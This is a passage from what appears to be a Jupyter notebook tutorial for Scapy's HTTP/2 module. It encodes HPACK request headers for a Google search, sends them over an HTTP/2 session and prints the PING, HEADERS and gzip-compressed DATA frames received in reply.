Header Without Indexing (or Never Indexing) ]### \n", " | magic = 0\n", " | never_index= Never Index\n", " | index = 32\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 165\n", " | | data = 'HPackZString(NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly)'\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 65\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 64\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 63\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 0\n", " | \\hdr_name \\\n", " | |###[ HPack Header String ]### \n", " | | type = Literal\n", " | | len = 3\n", " | | data = 'HPackLiteralString(dnt)'\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Literal\n", " | | len = 1\n", " | | data = 'HPackLiteralString(1)'\n", "\n" ] } ], "prompt_number": 134 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Oh! Just for comparison, we would have got about the same result using the helpers (modulo some safety checks that we did not do here...)." ] }, { "cell_type": "code", "collapsed": false, "input": [ "tblhdr.parse_txt_hdrs(\n", " ''':method GET\n", ":scheme https\n", ":path /search?q=scapy\n", ":authority www.google.fr\n", "accept-encoding: gzip, deflate\n", "cookie: {}\n", "accept-language: fr-FR\n", "accept: text/html\n", "user-agent: Scapy HTTP/2 Module\n", "dnt: 1\n", "'''.format(cookie),\n", " stream_id=5,\n", " max_frm_sz=srv_max_frm_sz,\n", " max_hdr_lst_sz=srv_max_hdr_lst_sz,\n", " is_sensitive=lambda hdr_name, hdr_val: hdr_name in ['cookie', ':path'],\n", " should_index=lambda x: x in [\n", " 'x-requested-with', \n", " 'user-agent', \n", " 'accept-language',\n", " 'host',\n", " 'accept',\n", " ':authority',\n", " 'dnt'\n", " ]\n", ").show2()" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HTTP/2 Frame Sequence ]### \n", " \\frames \\\n", " |###[ HTTP/2 Frame ]### \n", " | len = 0xdc\n", " | type = HdrsFrm\n", " | flags = set(['End Stream (ES)', 'End Headers (EH)'])\n", " | reserved = 0L\n", " | stream_id = 5L\n", " |###[ HTTP/2 Headers Frame ]### \n", " | \\hdrs \\\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 2\n", " | |###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \n", " | | magic = 0\n", " | | never_index= Never Index\n", " | | index = 4\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 30\n", " | | | data = 'HPackZString(/?gfe_rd=cr&ei=2B1IWOeIDujt8weIvIH4BQ)'\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 67\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 7\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 16\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 17\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 4\n", " | | | data = 'HPackZString(en-US)'\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 66\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 65\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 63\n", " | |###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \n", " | | magic = 0\n", " | | never_index= Never Index\n", " | | index = 32\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 171\n", " | | | data = \"HPackZString(['NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly'])\"\n", "\n" ] } ], "prompt_number": 135 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let's now send our query to Google and read the answer!" ] }, { "cell_type": "code", "collapsed": false, "input": [ "srv_global_window -= len(str(hdrs_frm))\n", "assert(srv_global_window >= 0)\n", "ss.send(hdrs_frm)\n", "\n", "h2seq = h2.H2Seq()\n", "\n", "new_frame = None\n", "while isinstance(new_frame, type(None)) or 'ES' not in new_frame.flags:\n", " # As previously, if we receive a ping, we ackownledge it.\n", " if not isinstance(new_frame, type(None)) and new_frame.stream_id == 0:\n", " if new_frame.type == h2.H2PingFrame.type_id:\n", " new_frame.flags.add('A')\n", " srv_global_window -= len(str(new_frame))\n", " assert(srv_global_window >= 0)\n", " ss.send(new_frame)\n", " \n", " assert new_frame.type != h2.H2ResetFrame.type_id \\\n", " and new_frame.type != h2.H2GoAwayFrame.type_id, \\\n", " \"Error received; something is not right!\"\n", " \n", " try:\n", " new_frame = ss.recv()\n", " new_frame.show()\n", " if new_frame.stream_id == 5:\n", " h2seq.frames.append(new_frame)\n", " except:\n", " import time\n", " time.sleep(1)\n", " new_frame = None" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HTTP/2 Frame ]### \n", " len = 0x8\n", " type = PingFrm\n", " flags = set([])\n", " reserved = 0L\n", " stream_id = 0L\n", "###[ HTTP/2 Ping Frame ]### \n", " opaque = 2\n", "\n", "###[ HTTP/2 Frame ]### \n", " len = 0x8\n", " type = PingFrm\n", " flags = set(['ACK (A)'])\n", " reserved = 0L\n", " stream_id = 0L\n", "###[ HTTP/2 Ping Frame ]### \n", " opaque = 2\n", "\n", "###[ HTTP/2 Frame ]### \n", " len = 0x8\n", " type = PingFrm\n", " flags = set(['ACK (A)'])\n", " reserved = 0L\n", " stream_id = 0L\n", "###[ HTTP/2 Ping Frame ]### \n", " opaque = 2\n", "\n", "###[ HTTP/2 Frame ]### \n", " len = 0x8\n", " type = PingFrm\n", " flags = set(['ACK (A)'])\n", " reserved = 0L\n", " stream_id = 0L\n", "###[ HTTP/2 Ping Frame ]### \n", " opaque = 2\n", "\n", "###[ HTTP/2 Frame ]### \n", " len = 0x21\n", " type = HdrsFrm\n", " flags = set(['End Headers (EH)'])\n", " reserved = 0L\n", " stream_id = 5L\n", "###[ HTTP/2 Headers Frame ]### \n", " \\hdrs \\\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 8\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 33\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 22\n", " | | data = 'HPackZString(Tue, 13 Dec 2016 17:36:19 GMT)'\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 70\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 69\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 68\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 83\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 66\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 75\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 64\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 72\n" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\n", "###[ HTTP/2 Frame ]### \n", " len = 0x1640\n", " type = DataFrm\n", " flags = set(['Padded (P)'])\n", " reserved = 0L\n", " stream_id = 5L\n", "###[ HTTP/2 Padded Data Frame ]### \n", " padlen = 40\n", " data = '\\x1f\\x8b\\x08\\x00\\x00\\x00\\x00\\x00\\x02\\xff\\xa4;\\t\\x97\\x9bF\\x93\\x7f\\x053/c\\xe9\\r\\x928t!\\r\\xe3u\\x92\\x89\\xe3\\xc4I\\x9c\\xc4\\xd9/\\xdf\\xfay\\xf5\\x1ah\\x04\\x19\\x042\\xb4\\xe6\\xb0F\\xffw\\xf7_lU7\\xa0\\xe6\\x90\\xaf5\\xcf\\xd3\\xa2\\xbb\\xba\\xba\\xeb\\xaej\\xe0\\xf2\\x89\\x9fz\\xecaK\\x95\\x90m\\xe2\\xabK\\xfc\\xabD\\x8cnr/\\xddRGU\\xf9\\r\\x028j\\xc8\\xd8v1\\x1a\\xe5^H7d\\x98f\\xeb\\xd1\\x9f\\x94d^\\xf8\\x07\\xcdw1\\xcb_\\x935U\\x95\\x98$kG\\r2\\x15pQ\\xe2_]n(#\\x8a\\x97&\\x8c&\\xccQ\\x19\\xbdg#\\\\d\\xa9x!\\xc9r\\xca\\x9c\\xbf\\xde\\xfc0\\x98\\xab\\nb\\x1f\\xd0\\xf7\\xbb\\xe8\\xd6Q\\xbf\\x13\\xe0\\x837\\xb0\\xae\\xdaD1\\x8a6\\xb0R>r3\\x92\\xf8Q\\xb2\\x1e\\xad\\xd3t\\x1d\\xd3\\xf5\\xc8\\xb8/\\x7f\\xaer\\x06c$\\xf3W^\\x1a\\xa7\\xd9\\xca0\\xe7\\xfev\\xb8M\\xd6\\x82\\x9cm\\x96n\\x1d\\x95\\xa3\\x01\\xecq\\x94\\xdc(aF\\x83\\x0e\\xd4\\x00\\xe9\\xef<6\\x8a\\xbc\\xb4\\xc2\\x1d\\xa7\\x80\\x0b:T%\\xa3\\xb1\\xa3\\xe6a\\x9a1o\\xc7\\x14\\xe8J\\x00\\x1d\\x8bXL\\xafr\\x8fl\\x1f\\x94\\x81\\xf2\\x07\\x05n\\x01\\x8f\\xa8\\xf2\\x82O\\xbf\\x1c\\x89\\xf1\\xcb\\x9c=@s\\xb6vI\\xa6\\x9d\\xadw9\\xcd\\xf6\\x01P8\\xc8\\xa3\\x0ftaX\\xdb\\xfb\\xe5\\x96\\xf8\\xb8\\x87\\x01K\\xb7\\x0bc{\\xaf<\\x896[X\\x8a$ly\\xe0\\xf3\\xf6!\\x8d\\xd6![\\x98\\xe6\\xf6\\xfeP\\xe0(\\'\\xb9)c\\xe9f1\\xab\\xcfC\\xee\\x0fH\\x1c\\xad\\x93E\\x86S\\x0f\\xc3\\xb5\\x1bj\\xf0\\xc7\\xdf\\xbbi\\xe6\\xd3\\xacZ,O\\xe3\\xc8W\\xce<\\xdb\\x9f\\x05\\xc6R\\xda\\x19,\\x85\\x93\\xca\\xb5\\xf5\\xe56\\xcd#\\x16\\xa5\\xc9\\x82\\xb80i\\xc7\\xe8\\x12q\\x98c\\xa0\\xe0.\\xf2Y\\xb80t\\xfd\\x9b\\xc3\\x7fl\\xa8\\x1f\\x11\\x85\\xc4\\xf1\\x1e\\xa6\\x1b\\xf2\\xd6\\x97\\x1b\\x92\\xad\\xa3d\\xc0w\\xb4\\x18N\\xe8fyK3\\x16y$.\\xf6\\n\\x08\\x0b\\x8a\\x838%l\\x11\\xd3\\x80\\x1d\\x0e\\x04\\x11i\\xf8w\\xbc\\xe7\\x84\\xf9\\xd4K3\\xc2\\xf7\\xb2K\\x80\\x18\\x10,\\x95\\xa8\\xafM\\xe0z\\xb18\\xd3uO\\x86\\x80\\xa1H\\x91\\xc7}\\x7fN\\xcdY\\x03$\\xa8\\x81\\xd8\\xba.\\x8f+\\x97#!\\xdaB\\xc2CPEy\\xdf%\\xb5\\x05\\xa3\\x97)\\xd0\\n\\xa3w\\x8b0\\xf2}\\x9a\\x1c\\x86\\xab\\x87\\xd0\\x97U\\x81s\\xfc\\x9f\\xbd\\xe0\\xa55\\xa6\\x9b\\x83\\x9b\\xfa\\x0f\\x1a\\xf35?\\xba\\xd5\\x86[\\x8d\\x08\\xe8\\x80l\\xa2\\xf8aA\\xb2\\x88\\xc4ZN\\x92|\\x00\\xfa\\x10\\x05KF\\xb6\\x83\\x10X\\x1b#{\\x07b\\xd3\\x190\\xb3gN&Z\\xf9_\\xefs\\xac{\\xb1\\xb9\\x85~ J\\xb4Y\\x17J\\x01\\xb7M\\xee/e\\xf9\\x95:\\x87\\x03\\x0b\\xec\\xa8+2\\xb0,\\x0f\"\\r\\xff\\xe62a3\\x1c\\xba\\xd3\\x86\\xef\\x17\\xc4c\\xd1-\\xc5_\\xb7\\x11(\\x13\\xf5\\xb5!\\x03\\x05\\xde\\x95,6\\x0c\\x0f\\x85\\x17\\xb7\\xc4\\x9c\\xa4\\t\\x05\\x8e\\xfd\\xb5\\xf1\\x15\\xb2@;\\xae\\xe4zm|\\xf7\\xadu8\\x0b\\xd2\\x94\\x956\\xb1\\xd0\\x959\\x1a\\n\\xf6)d\\x7f\\x17\\xc2J\\x83|K<\\nx\\xee2\\xb2=\\x84\\x96\\xbc\\xbfiI\\xc9\\x9d\\xa05I\\xb3\\r\\x89\\x97%\\x8b\\x96\\x15\\xda\\xc3YFs\\x05&\\xfbQ\\xbe\\x8d\\xc9\\xc3\"JP\\xf5\\x0eC\\x10d\\xc1\\'\\x94t\\xb7\\xa1\\x0c\\xc0}\\xf9!\\x85n\\xe3\\x90\\xc6J\\x1ci;\\xfc\\xbb\\x8f\\xa3\\x1c\\x90\\xa0>\\n\\x96\\x85\\x86\\x96\\xc60\\xa6\\xc1X\\x17=\\x1b\\xf7:\\xf1\\x95\\xd0\\xdc\\xb7\\xe9?\\x0ci9\\x05D\\xad\\xe8\\x8a>\\x9c\\x81\\xc9\\x1e\\xceP\\xfa\\t\\xb9\\x05\\xcevJ\\xa9\\x1a\\x07\\xac\\x85\\x90fS\\xbc>\\xc6\\xe3\\xc3\\x19\\xcc(]\\x13\\xcc\\x8a\\xc96\\xa7\\x8b\\xf2G\\xcd\\x94@\\x9bd\\xf7\\xc6]\\x04\\xceV\\x80\\x87R\\xbf\\x07!\\x84f\\x87a\\x92\\xbaY\\x97\\n\\x0cY~r\\xbd\\xc30W`V)e\\xa1|^\\xeeV=n\\x9cz7\\xa5i\\x8cu\\x14\\x97\\x08(+.P\\xdc\\n*\\xc6\\xa0T\\x8a\\x99d<\\x858Q\\xeb\\x1a\\xb3$C\\x94=\\xb3\\xe7U\\x12C\\x17q\\xc6\\\\_;#\\xe0\\xc9\\xeb\\xbb\\xd9\\x00\\x83\\x8eJx\\xe0\\x10rd\\xb1\\x8a\\xb9\\xa8&M\\xfd]\\xbd|\\x03\\xa6\\xb8\\xfa\\xe9\\x8d\\xdfP\\xbay9\\t\\xec\\x94\\xc93\\xc5\\x9a\\x8d@V\\xa3yh6I\\xb6\\x9a.d^\\x8a2\\x02/\\x9e\\xb0\\xc5\\x00\\x97C\\x8f\\x90kC\\xb7\\xa6\\x92n\\x1a\\xfb\\x07\\xbai\\xf5\\x15;(\\x14^\\xa8\\xed&\\xda\\xd0\\xca\\xa1\\x10\\xdd\\'\\xee\\xf2\\xc44\\xdc\\xf8\\xfd \\x87Y0m\\x15\\xdf\\xf9{\\x11\\x9a\\x06f=\\x9a\\xb6\\\\w\\x9ez\\xa7\\xd4\\x1f\\xc7\\xca\\xd5\\xe7:^\\x80\\xfa\\xf9w\\'\\xc1a\\xac\\x05~\\xb3\\xf6\\xcb>:\\x9b\\x19\\x86{8[\\xdd~\\xebv(\\x07\\xd5\\xf1*\\xed\\x833\\x15\\x99X\\x8f\\xb4\\xbc\\xa7R\\xa1\\t\\xcc6Ae\\x95\\t2{\\xb5\\xb1\\\\\\xc9\\xf5X&\\xef\\xa4/*\\x1af\\xb3\\xd9\\xb2\\xe1+%k\\x148~\\xd4\\xfd\\x13\\xe0\\xe3N\\xf0W\\xe1iR\\xea1\\x86\\x9b\\xd6\\xea\\xcdM\\xf4\\xc9\\t\\x8b\\x92\\xae\\xc3\\xd9m\\xfa\\x11V\\xd5\\xf8\\x80\\x7f\\x80\\xb7\\xbf>x\\x12\\x0fx\\xa8\\x93U\\xb9\\x16\\xfb\\n]\\x9e\\x14\\x0bA\\x02\\xbao\\xa8\\xfd\\x18w\\x9c\\x97[\\x18\\x14\\xb9\\x11\\xa0(:\\x84\\xb6\\xf2]-\\x8f\\x1e\\x88\\x0b\\x9b\\xd2\\xa5K\\xbc\\x9bu\\x96B^S\\xf6\\x06Ap\\x0c)\\x90\\x89\\x12\\x8c\\xa1\\xcbFp\\xe0\\xded\\xf5\\x9a\\xba`\\xc6\\xbf\\xf3\\xbf\\x7f\\xe5n-_x\\x8e\\xf9B\\xcd\\x12x\\xa2\\x80>\\x12\\xe75\\x0c\\x7fR\\xe2\\x93\\x18s\\x7f?\\x88\\x01\\x08\\x95\\xf6\\xf7\\xda\\x00\\xa6|\\xbb\\xcdAZ\\x93w\\x97\\x86\\x85\\xcc\\xf8\\x84\\x86\\xa2 *\\xd1p\\xed\\x14\\x7f\\xc6|\\x1b\\xd9o^\\xc9M\\xf4\\xe1[s\\xbdt*\\x95\\xd5\\xd28\\x8e\\xb6y\\x94/\\xdba\\xa0i\\xdau\\xf5\\x13\\xdawk\\xbb\\xfbZ7\\xdfl\\x07\\xaeB^\\xd3\\xe9\\x14fma[\\x1d\\xc8\\xb2\\x9b\\xca\\xb2L\\x03/\\xb4\\x87\\xdf\\xdc\\xca\\x05\\xcc\\xf0Bg\\xf4KP\\xa58\\xb6\\x05\\x1d\\xff\\x1c;<\\x9d;\\t\\xe8\\x90\\xe3\\xc2p\\xf5\\xdd\\xcf\\xebc:;v-\\x1b\\x13\\xb2\\xdc]\\x11)12\\xf4\\x9ak+ \\xbc\\xbd \\xccj8>!\\x1d\\xd3\\x9e4\\xaa\\x0b0\\xe5\\xd9\\xbc\\xde\\'\\xd8?\\x99\\x99\\x9d\\xf8\\x15\\x1e\\xe1\\x1aIW\\x1b\\x8ev\\xc7?y\\x9dc\\xf9R\\xda\\x87o\\xe3\\xd5F\\x06>\\xa3\\xb2%n[2\\x08fr\\xcd|1\\x0b\\xf3\\x15\\x8fk\\xb5\\xb89\\xe6\\x81s\\xf5\\xc3\\xef~\\x13>\\xdf\\xb9\\x01\\xc4\\x9c\\x95\\xc7\\xb2\\xb8\\x91\\xc8/\\xe5\\xc8_$9\\xc8D\\x8bgR\"#f$hVq<\\xf1[y\\xe1q)n\\x06\\xba\"\\x06\\xdc\\xee\\x813\\xd8f\\xcev\\x01\\x94+\\xb4\\x89\\x91\\xfb\\x85<\\xbeQ\\xe0\\x8f_\\xd4\\x16\\xe6D/z\\x1bF?\\xb0*\\xe8\\xd5\\x07\\xcbm\\xe2\\x9aT\\x95^\\x81a\\xf5\\xfb\\xeb*a(\\xcb\\x9c\\x06FQ\\xd5\\xac>\\xec*\\xb5\\x9f\\x8c\\xf1\\xc2\\xc0\\xb7\\xf3j\\x8c\\xee\\xf0\\xb2b\\xf2\\xb7\\r\\xc0\\xf62\\x06\\xf7\\x13\\xc4\\xc3L\\xba\\xc3\\x1do\\x02(\\xbd\\xd3 k&\\xfd\\x85`\\x0c\\xbaQ\\xa4\\xac\\x98\\x0bw\\xb8b\\xaf\\xa2&\\x03L\\xee\\x15\\xf3&%\\xb8\\xee\\xea\\xa7k\\xda\\xe8\\'\\xc3 \\x86\\x01\\xef{\\x85h\\xc34\\x8f!\\x05\\xa8g%\\x9d\\tA\\xbd\\xbc) \\xbd]\\x96\\xc3\\xed6\\x8dxR{\\xc6\\x88\\x9f+]\\x90\\xc5\\x90HPj\\xe3ErQ\\x8c\\xf3\\x8c\\xa4k\\xfc\\x93#E\\xe1\\xd6=\\x18\\xa2;\\xad\\x0f\\xb5\\xa8\\xac*\\xf6C\\x0b\\xd9\\xd4\\xf8\\xee0t\\xe3\\xf5\\xa9d\\xc9\\x03`\\r\\xff4\\x8b@}:5\\x8d\\x8e\\\\PP\\x8b3\\xea\\xa0\\x87\\xe1\\xcd\\xad\\xac\\x0c\\\\\\xae7\\xb7yC\\x99\\xb1O\\xc3~\\xd0\\xabx\\xdb\\xcc\\xb7\\xeb\\x1a\\xc8\\xa1Y3L\\xf1\\xca\\xa9q\\x12PV]\\xc7\\x92\\x8c\\xdb\\xf2\\\\\\x14Y\\x87a\\xd0\\xe2\\xed\\xf6\\'W\\x0e\\x06\\xe1x\\x985R\\xf8e#\\xeav\\xd4ZXQ6L\\x03\\xa3\\xe7k\\xb7\\x81j \\xc8k\\x9f\\xcc\\xb4ce3)\\x01|/\\x12\\xaf*4\\x81\\x1c\\x13L\\xcb\\x18ZX\\xf6\\xe2P\\xbdD\\x1d\\xe0i\\xe3\\x02V\\xf7\\x0eh\\x1fr\\n)q\\x8c\\x9b\\xf6)\\xd3\\x05\\xee\\xe4[\\x88\\xef\\x8d\\xe1\\xa2w\\x95B\\x00k\\x15\\xd6\\xc7\\xa1\\xd39\\xfc\\x11\\xc4U\\xa2}K\\xb1:\\xd9\\xcb:\\xb3Z\\x17/\\xac6\\xb1(\\xc0S\\xe5\\xeal\\xac\\x1e!\\xb8\\xadvF\\xdec\\xb1]\\r\\xe6\\xdb\\x95\\x97\\xb0\\x1a\\xc4T\\xd4\\xe8\\xab\\x84\\x1c\\xabU\\xc1\\x13N\\xb0\\xf0\\t*O\\xda\\xd5Z}\\'\\x9c\\xd5*\\x88+\\xb6\\x1d]P\\xc99\\x9f\\xe2U&!\\x93i\\xfb\\x90\\x99\\'@\\xbb\\x98\\xfd\\xc9\\x08\\xabdb\\xdbv\\x93\\xdbM\\x9b\\xef:I\\xd9\\xe4\\xf1\\xfa\\xea\\xa8\\xddENo4\\x165k\\x99\\x88d\\xe0R\\xdc\\xe79\\x92\\x8e\\x95iQ\\x9d\\xfer\\xebk\\xc3`\\xb3m1w\\xe8\\xc5iNW.K\\xf6\\xcd\\xea\\xfc,\\x88!\\xd6jgn\\xd0\\n\\xb9r\"Yy)\\xc3,+\\x86\\x86\\xad\\xd5R\\xca\\xa4\\x99[\\x9fm\\xf22^,\\x86\\x96\\x859\\x84\\x9cE,K\\xaf\\xca\\r\\x0b\\x0b\\xed\\x7fw;Z\\xe9\\xac\\xb5\\xa3\\xa6h\\xf0\\x94k\\r,\\xacl[\\xc7y\\xc7\\x02\\x1bxrR3\\x84?Z6\\x8eqZ\\xc7\\xbd\\x13\\xbbQ\\x03Ox%\\x0f\\x12\\x13N\\xc1\\x9e\\xd7L\\xae\\xa3>\\xedR\\x94\\xd5_\\x7f\\xbb\\x1a\\xe1\\x8d\\xec\\xec\\xeb\\xd9\\xcd\\xb2\\x9bK\\x1f;\\xf9n\\x06?y\\xcfm\"J\\xb9\\xcb\\xa7\"\\xe2\\xaeK\\t\\xba\\ty\\x196\\xad\\xcf\\x92\\xacO\\x98q\\xdb\\xa8kGP\\xd2\\xd9*w\\'\\x90/\\xae~\\n\\xfdZ\\x0e\\xe5\\xc6P\\xc1|\\xf6\\xb6j\\x07\\xfb\\xb2?\\\\\\xe5\\xf7\\xde\\'\\x95\\xafn\\x91X\\x96\\x86>\\n\\x0b\\x9aZ\\xf5\\xce3\\x9d\\xbc~\\xc09\\xb6\\x9a\\xbc\\x04c\\x00\\x15\\x82\\x14\\xaf<\\xf2\\xe7\\tpuW\\x84\\xaa\\xe2V\\x8ai\\xa2\\xa7ij\\xab\\xbfw\\xbe\\x04\\xce-\\xbb\\x13\\xb4f\\xb2xb+\\x95\\x80\\xbb,\\xee\\x95\\xcf\\xfd`\\xb1U\\x9c\\xaeS\\xd3\\xb4\\xf1ia_I\\xd2AF\\xb7\\x94t\\x1c\\xf6\\x1d=\\xcd\\x17#S\\x06\\x86\\x85\\xcc\\x18\\xcc\\xc7RM(=1\\xc3\\x9f5[<\\x88\\xc7H_\\xb1\\x92\\x8d\\x91p`\\x8e\\'\\xd2JV\\xb5\\xd2t\\xd2\\xbd\\x92\\xc2\\x9f-\\xf1_\\xa0K_C\\xa2\\xfee\\x8b\\xae\\x92o\\x9b\\x19\\xe7\\xd1$y\\xc4\\xd91\\xaeZB\\xae,\\x033\\xdf\\x92\\x8c\\xb6\\x8fa;\\xf3O\\xc0~\\x05$\\xedOb\\x01\\x98\\xdf\\xf4}\\xed\\xdcM^\\xa3}F\\xa7\\xf8$\\x0fi\\xd9\\xb4\\xcf\\x1f\\xd6\\x19\\x85\\xbd\\xd4\\x0e\\xfb\\xaa\\x94\\x07\\xff~\\xbe{\\xe3\\x1eL_V\\x0f\\\\\\xb9\\xb95}\\x98\\xfe\\x11\\x06\\xb5\\xbd0\\x7f\\xf0t\\x14\\x88.\\xa8\\x97L} *\\xe7\\xcd\\xc0\\xcf\\xd2\\xad\\x9f\\xde%\\x83\\rMv\\x8dRG>G\\xc1\\xd3\\xc8v\\x9a\\xeb{x\\xb5\\x9e\\x07\\xf0s\\xaf\\xae0Q=\\x19\\x13q\\x8d\\xecX\\xda\\x15\\xfd>\\xf0\\'\\x03\\xf7\\x0b<\\x00\\xfb\\xf7\\x8d\\xdb|\\xbc\\xd5\\xed\\x9b\\x01\\xb0p\\xa2\\xed\\xb3TJ)\\xfa\\xd9\\xff\\xba\\xa9\\x02\\x90eY\\xa7$$\\x88/w\\x8fO\\xd8\\x8dSQ\\xa2,\\xc9\\x9b\\xa8\\xc1\\xc8\\x02w\\xbd\\xae\\x9dD\\x05\\x06^\\xcb\\xd3!z\\x82W\\xa9\\x063\\x9e\\xac\\xa1\\xed\\xe1{\\x11\\xfb\\x92#F\\xfd\\xa4r\\xdcH\\xb6\\xc6\\xe5\\xa4\\x13\\x8f\\xac\\xec\\xfa\\xb9\\xbc!=\\x9d\\x17N\\xde\\xec\\xc8\\xfd:\\x82\\xbc\\xf0b\\xd6\\xac\\\\\\x8e?\\xc3*\\xc5\\xde\\xfd\\x18t\\xcc\\x03H\\x0c\\x82$2[\\xb8(\\xbb4\\x8b\\x9f\\xee\\xb5\\xcd.\\x8fb\\xd8^u\\xec\\xa8WHK\\xd9\\xb70\\xb96^\\xcb\\xeeZ\\x83\\xe8x\\xc1\\xe0\\xfd \\x0f\\t\\x18\\x02\\xd8gN\\xd1\\xbb\\x19\\xe2\\xa4Y\\xe1\\x8f\\xd2u\\x8d_C\\xa3\\xbf\\x84`\\xee\\xdeDl\\xf0%S6\\xe9\\x87/\\x80\\x17\\x04\\xb12\\xd3\\x10*/\\x979\\x11Q\\xa2d\\xbb\\xabN\\x1d\\xb2\\xa2\\x1e=\\x82\\x15]\\x02x\\xdf\\xea\\x04\\xfc\\xb2\\x0c\\xf8Ly\\xb1\\xea\\xd0D\\x17E\\t?\\xb5m\\xa7_\\xddo\\x0b\\xb42\\x11L\\x91\\xa6\\x05\\xa9\\xa8\\x80\\x1dG\\x0c\\xc7\\x92sy\\x07\\xfb\\x18\\xb8\\x19%7\\x0b\\xfew\\xc0\\x1f&\\xc0\\x8e\\x17A\\xea\\xed\\xf2\\xd2\\xc3\\x17\\x15;r\\xca\\xfd(-\\xe5\\xd6\\xa6\\xb5Te*\\xaaH\\x9e\\xf1\\xf8y\\x9d\\x91\\xb2M\\xce\\xf0\\xea\\xb0\\x80\\x12\\xab\\xdd4 <\\xf8\\xad\\x8cU\\xe7\\xbcv\\xe5\\r\\x0exd]p\\x95@:H6Xg\\xc4\\x8f\\xc0\\x8f\\xf7\\x80\\x13\\xda\\xd9\\xd8\\xb7\\xf5\\x00\\x92\\x9d\\xf1l>\\xa3~\\x7f\\xd915\\xff\\xda\\x99\\xe9\\xd7N,t\\xbe\\x9a&\\xd0hH\\xb2\\x82(\\xf8\\x0f\\xe1\\xd2\\xb4 K7\\xbd\\x02g_ci\\xaf\\xc4\\xfb\\x11\\xc4_\\xb7\\xad\\xcf\\x9b\\xd5r\\x08\\x96>\\xb3\\x8f\\x11\\x1d\\'\\xefr^\\x8d\\xb6\\xe3\\x86@VI{vLq\\xe6\\xc2\\xf1\\xb8\\x1d1\\xe7s%lMf\\x84\\xce\\xbfF\\xc2\\xa7g~B\\xc2\\xa7\\'\\xfe\\xff$\\\\\\xe0\\xfdZ\\twl\\xab\\x8c\\xa5|\\xe4\\x0bE_\\xa1k\\x89\\xde\\x0c&\\xae;\\xe3\\x82\\x93\\x9dF-\\x13<.U\\x99=\\xe4\\xba\\x16\\xafu\\xa4A\\x91\\x06/D3\\xb8?\\xe5?\\x8b\\x1c\\xc3\\xa7\\x01\\xd9\\xc5\\xacp\\xa7\\x93.w\\xdav)\\xe0C?\\xea+9\\x1de=\\xf4EA\\xc6\\xfa\\xf28f\\xf5?;JZ\\xb2$k\\xcc\\xfd\\x8a\\xe4\\xbeFo\\xeeF^\\xbaoc\\xe9L\\xae\\xcb\\xc2d\"W\\xff<\\xe5l\\x9cB\\x15+L:\\xde\\xd6;\\xbe\\xec\\xe7e\\xd1\\x96]\\xf5\\x82]\\xe2\\xe1\\xfez\\xfd\\xfd\\x1dx\\xf9\\xf4n(^\\x1bu\\xf67\\xd7/\\x17Oo>\\xfc\\xf0\\xfb\\xbf~\\x1d\\x84\\xd7\\xde\\xcf\\x0fd\\xfc\\xf3/\\xeb\\xff|\\xfeT\\xbb\\xb9\\xfe\\xfb5\\x8c\\x99\\xfalnj\\xb3\\x89>3\\r\\xcd\\xb0&\\x86\\xad[\\x9a5\\xd3uslic\\xdd\\xb4\\xe7\\xc6\\x04Z\\xcb\\x9c\\xcef\\xd8\\xceu\\xc3\\x84vl\\xccm\\x1b[kl\\xf3\\xfb\\xc9|l`;\\xb7\\xc6\\x087\\x99\\xcc\\xc68ojN\\xa7Sl\\'\\xe0\\xf9\